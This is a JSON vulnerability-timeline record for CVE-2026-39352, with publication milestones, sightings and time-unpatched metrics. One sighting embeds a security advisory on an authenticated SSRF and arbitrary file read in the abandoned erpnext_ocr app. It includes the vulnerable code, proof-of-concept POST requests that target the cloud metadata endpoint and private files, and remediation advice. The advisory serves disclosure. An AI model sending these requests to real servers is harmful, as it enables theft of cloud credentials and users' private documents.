{"metadata": {"vulnerability": "CVE-2026-39352", "count": 11, "kinds": {"milestone": 3, "sighting": 2, "kev": 0, "other": 6}, "linked_omitted": 0}, "data": [{"timestamp": "2026-04-06T20:28:38.394Z", "date_only": false, "value": "2026-04-06T20:28:38.394Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-39352", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-05-20T19:27:01.543Z", "date_only": false, "value": "2026-05-20T19:27:01.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-39352", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-05-20T19:27:01.543Z", "date_only": false, "value": "2026-05-20T19:27:01.543Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "CVE-2026-39352", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-05-20T20:16:39.537Z", "date_only": false, "value": "2026-05-20T20:16:39.537", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-39352", "record": "FKIE_CVE-2026-39352", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-05-21T14:15:30.295Z", "date_only": false, "value": "2026-05-21T14:15:30.295861Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-39352", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-05-21T14:15:30.295Z", "date_only": false, "value": "2026-05-21T14:15:30.295861Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-39352", "record": "FKIE_CVE-2026-39352", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-05-21T14:25:31.245Z", "date_only": false, "value": "2026-05-21T14:25:31.245Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-39352", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-05-21T14:25:31.245Z", "date_only": false, "value": "2026-05-21T14:25:31.245Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-39352", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-05-25T09:50:58Z", "date_only": false, "value": "2026-05-25T09:50:58.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-39352.yaml", "record": "CVE-2026-39352", "field": "creation_timestamp", "uuid": "c20b29dd-5364-4b86-8533-cb350d2c09c4", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-39352.yaml"}, {"timestamp": "2026-07-23T12:10:00.110Z", "date_only": false, "value": "2026-07-23T12:10:00.110", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-39352", "record": "FKIE_CVE-2026-39352", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-11-04T20:51:02Z", "date_only": false, "value": "2026-11-04T20:51:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/behruz-svg/a51b0c18510aa0ecc18a6bc6014b0b19", "record": "CVE-2026-39352", "field": "creation_timestamp", "uuid": "0fa688c0-0469-4d22-8bb0-d3e0c4815a90", "content": "# Security Advisory: Authenticated SSRF and Arbitrary File Read in Monogramm/erpnext_ocr (`read_document`)\n\n- **Supplier / Product:** Monogramm \u2014 `erpnext_ocr` (Frappe/ERPNext OCR app, Tesseract-based invoice/document scanning)\n- **Repository:** https://github.com/Monogramm/erpnext_ocr\n- **Affected versions:** all released versions up to and including the latest commit `c23ebc5a` (repository abandoned; last commit 2021-07-08). No fixed version exists.\n- **Vulnerability types:** CWE-918 (Server-Side Request Forgery) and CWE-22 / CWE-639 (Path Traversal / IDOR \u2014 Arbitrary File Read)\n- **Affected component / code path:** `erpnext_ocr/erpnext_ocr/erpnext_ocr/doctype/ocr_read/ocr_read.py` \u2014 the `read_document()` whitelisted method\n- **Attack vector / privileges:** Remote, authenticated as any user (any role)\n- **Severity:** High \u2014 CVSS 3.1 ~8.1 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L`)\n- **Reporter:** Behruz Chilmatov (https://github.com/behruz-svg)\n- **Disclosure date:** 2026-11-05\n- **Status:** Reported for coordinated disclosure; repository is abandoned with no security-reporting channel, so this public reference is published to accompany CVE assignment.\n\n## Summary\n`read_document()` in `erpnext_ocr` is decorated `@frappe.whitelist()`, making it callable by any\nauthenticated user, and performs **no permission or role check**. Its `path` argument is fully\nclient-controlled. Depending on the prefix of `path`, the method either reads a local file from the\nserver filesystem or fetches a remote URL, then runs OCR on the content and returns the extracted\ntext to the caller. This allows (1) server-side request forgery against internal/cloud-metadata\nendpoints and (2) reading arbitrary files on the server, including other users' private uploads.\n\n## Affected code\n`erpnext_ocr/erpnext_ocr/erpnext_ocr/doctype/ocr_read/ocr_read.py`:\n\n```python\n@frappe.whitelist()\ndef read_document(path, lang='eng', spellcheck=False, event=\"ocr_progress_bar\"):\n    ...\n    if path.startswith('/assets/'):\n        fullpath = os.path.abspath(path)\n    elif path.startswith('/files/'):\n        fullpath = frappe.get_site_path() + '/public' + path\n    elif path.startswith('/private/files/'):\n        fullpath = frappe.get_site_path() + path          # any private file, by path\n    elif path.startswith('/'):\n        fullpath = os.path.abspath(path)                  # any local path\n    else:\n        fullpath = requests.get(path, stream=True).raw     # arbitrary URL fetch (SSRF)\n    ...  # OCR fullpath, return extracted text\n```\n\nThere is no `has_permission` / `check_permission` on this path. The method is directly reachable at:\n\n```\n/api/method/erpnext_ocr.erpnext_ocr.erpnext_ocr.doctype.ocr_read.ocr_read.read_document\n```\n\n## Impact\n1. **SSRF (CWE-918):** Any `path` that does not start with `/` is fetched server-side via\n   `requests.get(path)` \u2014 e.g. `http://169.254.169.254/latest/meta-data/` (cloud metadata) or\n   `http://internal-host:port/` (internal services, port probing). The request always fires (blind\n   SSRF); if the target returns an image, its OCR'd content is returned to the attacker.\n2. **Arbitrary file read / private-file IDOR (CWE-22 / CWE-639):** `path=/private/files/` or\n   any `path=/` reads an arbitrary server file by path, bypassing Frappe's file\n   permission model. Because the app OCRs images/PDFs, this discloses other users' private uploads\n   (invoices, receipts, IDs) as extracted text \u2014 a cross-user information disclosure.\n\n## Proof of concept\nAuthenticated as any user:\n\n**SSRF**\n```\nPOST /api/method/erpnext_ocr.erpnext_ocr.erpnext_ocr.doctype.ocr_read.ocr_read.read_document\nContent-Type: application/x-www-form-urlencoded\n\npath=http://169.254.169.254/latest/meta-data/\n```\nThe server issues the outbound GET (blind SSRF; image responses are returned as OCR text).\n\n**Arbitrary / private file read**\n```\nPOST /api/method/erpnext_ocr.erpnext_ocr.erpnext_ocr.doctype.ocr_read.ocr_read.read_document\nContent-Type: application/x-www-form-urlencoded\n\npath=/private/files/.pdf\n```\nThe file is read and OCR'd, and its text is returned to the caller.\n\n## Suggested remediation\n- Add a role/permission check to `read_document`.\n- Restrict `path` to files the caller is authorized to access (resolve via the `File` doctype with\n  `has_permission`); reject absolute paths and `../` traversal.\n- For remote fetches, remove the raw-URL mode or validate the URL against an allowlist and block\n  private/loopback/link-local and cloud-metadata (169.254.0.0/16) destinations.\n\n## References / dedup\nNo GitHub Security Advisory (GHSA) exists for `Monogramm/erpnext_ocr`, and no public CVE names this\napplication. The ERPNext *core* SSRF/file-read CVEs (e.g. CVE-2026-44441, CVE-2026-39352,\nCVE-2026-44440) are unrelated core issues and do not cover this app. This finding is novel to\n`erpnext_ocr`.\n", "url": "https://gist.github.com/behruz-svg/a51b0c18510aa0ecc18a6bc6014b0b19"}], "metrics": {"as_of": "2026-11-30T10:25:41.667Z", "anchors": {"origin": {"timestamp": "2026-05-20T19:27:01.543Z", "date_only": false, "value": "2026-05-20T19:27:01.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-39352", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-05-20T19:27:01.543Z", "date_only": false, "value": "2026-05-20T19:27:01.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-39352", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 16729120.124738, "hours": 4646.9778124272225, "days": 193.62407551780092, "min_seconds": 16729120.124738, "max_seconds": 16729120.124738, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-05-20T19:27:01.543Z", "date_only": false, "value": "2026-05-20T19:27:01.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-39352", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-30T10:25:41.667Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
